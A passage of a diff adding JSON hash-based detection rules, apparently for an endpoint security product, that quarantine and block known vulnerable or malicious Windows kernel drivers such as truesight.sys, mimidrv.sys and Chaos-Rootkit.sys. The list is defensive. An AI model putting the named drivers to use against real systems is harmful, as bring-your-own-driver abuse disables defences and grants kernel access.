+  "comment": "Vulnerable Kernel Driver (aka VBoxTAP.sys) [https://www.loldrivers.io/drivers/f22e7230-5f32-4c4e-bc9d-9076ebf10baa/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "62700c3b-224a-51d8-8e3e-1a870216fb0f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.467384Z",
+  "creation_date": "2026-03-23T11:45:30.467388Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.467397Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "054c2b8c5e89a2bff72eb6e1169537cf8654b614d9aac1e1e3d8ea02343872fc",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6275493f-2995-52e1-8250-973da5d078ec",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.141962Z",
+  "creation_date": "2026-03-23T11:45:31.141964Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.141970Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a47692392fd8128e195aff14fc784abe68a1a0ab43c983d68d97ba63eaeffa55",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6291990d-a3c3-5d13-99dc-4fb5187f8701",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.141273Z",
+  "creation_date": "2026-03-23T11:45:31.141275Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.141280Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b3b90be121cea851e54b303e3599331327bfc4bdf71be397ce4615fc9f1d1d5a",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6291d7f2-b283-5364-9b02-655693cf92c5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.143439Z",
+  "creation_date": "2026-03-23T11:45:31.143441Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.143446Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7cc281510f92d2770745ad6baaecb6f5afb22e596303c3de07f605fde07acc98",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6297cfc1-c9d2-5da6-975d-7307dc432e35",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.452432Z",
+  "creation_date": "2026-03-23T11:45:30.452436Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.452445Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "60fb851ce3da03c319a423979b47a95dd231085d89b26516f3e25164a1a14dfb",
+  "comment": "Vulnerable Kernel Driver (aka Chaos-Rootkit.sys) [https://www.loldrivers.io/drivers/abcd2c10-1078-4cf9-b320-04ca38d22f98/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "62b92fb7-3905-5592-ba6b-d9a817aeacda",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.825942Z",
+  "creation_date": "2026-03-23T11:45:31.825944Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.825958Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b4bc6684efbaa77e2468395c15a26a4b705bbdc9b3d791813ce37efa72c8268a",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "62c454d7-3db4-577a-a6a5-f22be690a0be",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.489677Z",
+  "creation_date": "2026-03-23T11:45:31.489680Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.489688Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a59a3bbad423479b34158025455d1506d399cc94f3d9b29f85cc5424bc8c73fd",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "62dc498f-7951-5c85-b89e-a23ec03ad09b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.983613Z",
+  "creation_date": "2026-03-23T11:45:29.983615Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.983620Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "07b6d69bafcfd767f1b63a490a8843c3bb1f8e1bbea56176109b5743c8f7d357",
+  "comment": "Vulnerable Kernel Driver (aka HOSTNT.sys) [https://www.loldrivers.io/drivers/e42cd285-4dda-4086-a696-93ab1d6f17ca/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "62e14f51-4c72-5c3c-ada0-baf238bdca90",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.985702Z",
+  "creation_date": "2026-03-23T11:45:29.985704Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.985710Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6ca42465bf4101ff63117c171cb31204dd29c45ba4ea7c31fd950f17e19b5d03",
+  "comment": "Malicious Kernel Driver related to WINTAPIX (aka WinTapix.sys and SRVNET2.SYS) [https://www.fortinet.com/blog/threat-research/wintapix-kernal-driver-middle-east-countries] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "62e18c77-215a-5baf-b881-f8f709e89d76",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.826048Z",
+  "creation_date": "2026-03-23T11:45:31.826050Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.826055Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "015d63812a826ba39fc54f00ce6846e38fa82acd09a57adb8c7d69027bc3f327",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "62e74a68-1ad5-5c86-8066-9159dea9b778",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.479571Z",
+  "creation_date": "2026-03-23T11:45:31.479575Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.479585Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5f9071c4b299e0f415811c49f492ce5190ecfd13181632691c1ba16c26425b57",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "62f9562b-307e-591a-b51f-8423f70fcc39",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.619285Z",
+  "creation_date": "2026-03-23T11:45:29.619287Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.619293Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "074ae477c8c7ae76c6f2b0bf77ac17935a8e8ee51b52155d2821d93ab30f3761",
+  "comment": "Realtek vulnerable driver (aka rtkio64.sys, rtkiow10x64.sys and rtkiow8x64.sys) [https://github.com/blogresponder/Realtek-rtkio64-Windows-driver-privilege-escalation] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "62ff5df5-c04f-5561-bb6c-63f2507b97d2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.605064Z",
+  "creation_date": "2026-03-23T11:45:29.605066Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.605071Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4ee2a56c1592ff0e951b452c0de064eba05b7c98e3add04c8aa3b4a84eb797a5",
+  "comment": "Process Hacker driver (aka kprocesshacker.sys) [https://processhacker.sourceforge.io/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "62ff6ed8-2af5-5924-b008-9c059455d7d7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.826603Z",
+  "creation_date": "2026-03-23T11:45:30.826605Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.826611Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "bb4fce8163c75e9263e2baa7105ebbfb32f1f8b141c4d2a95ec7fa9411c63c05",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "63146c7f-05ed-575a-aa4d-d5e7bfa85cd4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.826746Z",
+  "creation_date": "2026-03-23T11:45:30.826748Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.826754Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5ee96c28735bd6a839f15a13e6ca30692a286f5aacd4aa994016ec31d2f73ae1",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6315dbe4-5515-5d7e-91d8-2bd5ceb1751a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.814519Z",
+  "creation_date": "2026-03-23T11:45:31.814522Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.814531Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "fc71b587095b255d48da485d290ab83c2d170fb2b930ba6ebe5019b90ed7be01",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "632cc686-f655-5f96-af47-d63cc6318254",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.495041Z",
+  "creation_date": "2026-03-23T11:45:31.495043Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.495048Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "68aff67d444cb49461384ccc104fefe41c827cf6eda6bec30666cff7f2e72e0d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "632ce104-ff31-5975-901f-878a3a15d3ee",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.828437Z",
+  "creation_date": "2026-03-23T11:45:30.828439Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.828444Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a1d2d98a6661b8752d1ad3679eb98928af3a110f83444356d089aa2e82161b54",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "632f3abf-ef42-5302-a829-9e61dfa36a91",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.490261Z",
+  "creation_date": "2026-03-23T11:45:31.490263Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.490269Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9b286f4ddd11441738d5992b8da3e94fdc2f815d9dfea17aec5eb9dedce8cf2a",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "63405bc0-80a7-5a87-89bd-48fec8c7269a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.835772Z",
+  "creation_date": "2026-03-23T11:45:30.835774Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.835780Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e689ee12e6c00fc50a016040b0f4806ef873cc8792c0f43aa8c863a7a9d49b1b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6340b655-3f43-57e1-a258-75c16a07c83b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.969347Z",
+  "creation_date": "2026-03-23T11:45:29.969349Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.969354Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ebe2e9ec6d5d94c2d58fbcc9d78c5f0ee7a2f2c1aed6d1b309f383186d11dfa3",
+  "comment": "Avast Vulnerable Driver (aka aswArPot.sys) [CVE-2022-26522, CVE-2022-26523] [https://www.mandiant.com/resources/blog/unc2596-cuba-ransomware] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "634274e0-4460-5d76-9d0f-07963ff5083c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.831439Z",
+  "creation_date": "2026-03-23T11:45:30.831442Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.831447Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b34989a6982c798ad8435fdc075ea340ad2a081059c9f11d0454f3bc37231992",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6348c5b1-cde3-5acd-9095-20318a5aac43",
+  "test_maturity_current_count": 0,
